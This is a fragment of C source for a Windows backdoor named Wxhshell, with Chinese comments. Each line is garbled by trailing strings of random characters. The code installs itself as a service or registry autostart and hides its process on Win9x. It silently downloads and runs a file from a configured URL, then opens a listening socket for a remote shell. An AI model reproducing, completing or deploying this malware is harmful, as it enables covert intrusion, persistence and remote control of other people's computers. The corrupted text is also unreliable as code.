ULONG UniqueProcessId; 7D'D7=Z.
ULONG InheritedFromUniqueProcessId; 3a ZS1]/
} PROCESS_BASIC_INFORMATION; mtE+}b@(!&
yFd942
PROCNTQSIP NtQueryInformationProcess; Ar?ZU ASJ
_T8S4s8q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MI:%Eq
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d`5AQfL&
9~a 5R]x2
HANDLE hProcess; P-8QXDdr
PROCESS_BASIC_INFORMATION pbi; LH`2Y,E
nf&5oE^
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $o$WFV+h
if(NULL == hInst ) return 0; /<k5"C%z
UH\{:@GjNO
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VUHf-bKl
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E
GZiWBr
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1:@ScHS
ke<5]&x
if (!NtQueryInformationProcess) return 0; Lh.-*H
>@4AxV\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3kF+wifsz
if(!hProcess) return 0; R1%J6wZq
Q%J,:J
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S}]B |Q
'(N(k@>{
CloseHandle(hProcess); Lz:FR*
%4YSuZg
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vw`Q:qo0:b
if(hProcess==NULL) return 0; Pv\8 \,B9
\l
8_aj
HMODULE hMod; `Gl[e4U
char procName[255]; ?gvu
E1
unsigned long cbNeeded; &2q<#b
eU e, P
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lq,]E/<&
kDM?`(r
CloseHandle(hProcess); U&a(WQV9&
~.0'v [N
if(strstr(procName,"services")) return 1; // 以服务启动 '^[+]
8]1,E E<
return 0; // 注册表启动 IJDbm}:/e
} +KNd%AJ
EdSUBoWF}
// 主模块 qZ@d:u
int StartWxhshell(LPSTR lpCmdLine) hJir_=
{ ssoE ,6kS
SOCKET wsl; X{ 6a
BOOL val=TRUE; $4)L~g|
int port=0; r=AA
/n<
struct sockaddr_in door; hk
S:_e=
UTN[!0[
if(wscfg.ws_autoins) Install(); 0]=Bqyg
g)|vS>^~
port=atoi(lpCmdLine); Rr[Wka9[
<63TN`B
if(port<=0) port=wscfg.ws_port; aD_7^8>
a1%}Ee
WSADATA data; wrX n|aV
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }_^ vvu
3#>%_@<
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Qc PU{#6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NPM2qL9&J
door.sin_family = AF_INET; ,\aLv
door.sin_addr.s_addr = inet_addr("127.0.0.1"); eQn[
door.sin_port = htons(port); x7`+T1IJ
;)P=WS:=
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TqfL
Sm|
closesocket(wsl); Hr!$mf)h
return 1; R osU~OK
} KT >Y^
?d{O'&|:
if(listen(wsl,2) == INVALID_SOCKET) { #5'@at'1
closesocket(wsl); hdSP#Y'-
return 1; qfxEo76'
} DQc\[Gq&
Wxhshell(wsl); LXhR"PWZM\
WSACleanup(); `ah|BV
"zCT S
return 0; .c0u##/0
6iF&!Fd>J
} ki/Cpfq40*
O|^J;fS:
// 以NT服务方式启动 X7`-dSVE
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vH1,As
{ ^Qn:#O9
DWORD status = 0; Y%- !%|
DWORD specificError = 0xfffffff; )& Oxp&x
Fav++ z
serviceStatus.dwServiceType = SERVICE_WIN32; IA[:-2_
serviceStatus.dwCurrentState = SERVICE_START_PENDING; S $o1Q
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B'`25u_e<
serviceStatus.dwWin32ExitCode = 0; EN":}!E:
serviceStatus.dwServiceSpecificExitCode = 0; g;nLR<]
serviceStatus.dwCheckPoint = 0; v2p0EOS
serviceStatus.dwWaitHint = 0; #<Xq\yC51
[m6+I9
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fqq4Qc)#U&
if (hServiceStatusHandle==0) return; hiA\~}sl n
1sonDBd0@;
status = GetLastError(); n00J21
if (status!=NO_ERROR)
_<Ij)#Rq7
{ >D}|'.&
serviceStatus.dwCurrentState = SERVICE_STOPPED; Q.h.d))
serviceStatus.dwCheckPoint = 0; dGkw%3[
serviceStatus.dwWaitHint = 0; k.o8!aCm
serviceStatus.dwWin32ExitCode = status; )Ho"b
serviceStatus.dwServiceSpecificExitCode = specificError; KZVdW@DY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4>v O9q
return; j6XHH&ZEb
} {2D|,yH=
X# ud5h
serviceStatus.dwCurrentState = SERVICE_RUNNING; v>Kh5H5e~
serviceStatus.dwCheckPoint = 0; g;6/P2w
serviceStatus.dwWaitHint = 0; B, H9EX
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D_ ~;!^
} ]vn*eqd
SE6(3f$
// 处理NT服务事件,比如:启动、停止 "Y&
VOID WINAPI NTServiceHandler(DWORD fdwControl) /~f[>#
{ lBs-u h
switch(fdwControl) ABkDOG2br
{ x|dP-E41\
case SERVICE_CONTROL_STOP: qBh@^GxY),
serviceStatus.dwWin32ExitCode = 0; oSkQ/5hg.
serviceStatus.dwCurrentState = SERVICE_STOPPED; -1v9
serviceStatus.dwCheckPoint = 0; r Dlu&
serviceStatus.dwWaitHint = 0; Nq8 3 6HL
{ u~Po5W/i
SetServiceStatus(hServiceStatusHandle, &serviceStatus); gW--[
} a7F_{Mm
return; $;Iz7:#jN
case SERVICE_CONTROL_PAUSE: Jvsy
6R
serviceStatus.dwCurrentState = SERVICE_PAUSED; xU0iz{9
break; W;UPA~nT~
case SERVICE_CONTROL_CONTINUE: &0%Zb~ts
serviceStatus.dwCurrentState = SERVICE_RUNNING; F --b,,
break; j%-Ems*H
case SERVICE_CONTROL_INTERROGATE: ~ho,bwJM[T
break; F8{gJaP x
}; {Bk` Zlki
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3\
Mt+!1{
} / Wjc\n$'
<2&qIvHL
// 标准应用程序主函数 &B[*L+-E
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DrV[1Z
{ S#B%[3@
.
_|=Btoo
// 获取操作系统版本 L8f+uI
OsIsNt=GetOsVer(); -s`Wd4AP
GetModuleFileName(NULL,ExeFile,MAX_PATH); a3\~AO H%
,IqE<i!U
// 从命令行安装 !&g_hmnIF
if(strpbrk(lpCmdLine,"iI")) Install(); 3Wbd=^hRvq
V4ePYud;^
// 下载执行文件 n_RZ:<Gr
if(wscfg.ws_downexe) { t=@d`s:R2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kc P ZIP:
WinExec(wscfg.ws_filenam,SW_HIDE); lnyq%T[^
} 9< 07# 8c.
e@0|fB%2
if(!OsIsNt) { knG:6tQ
// 如果时win9x,隐藏进程并且设置为注册表启动 O TlqJ
HideProc(); oST)E5X;7
StartWxhshell(lpCmdLine); i7r)9^y
} @-\=`#C**
else xZ;eV76
if(StartFromService()) <Z 3C&BM
// 以服务方式启动 ~K3Lbd|
r
StartServiceCtrlDispatcher(DispatchTable); {nUmlP=mS
else ^\Q,ACkZb
// 普通方式启动 2)|=+DN;
StartWxhshell(lpCmdLine); 1v.#ndk
YtSYe%
return 0; 2\k!DF
}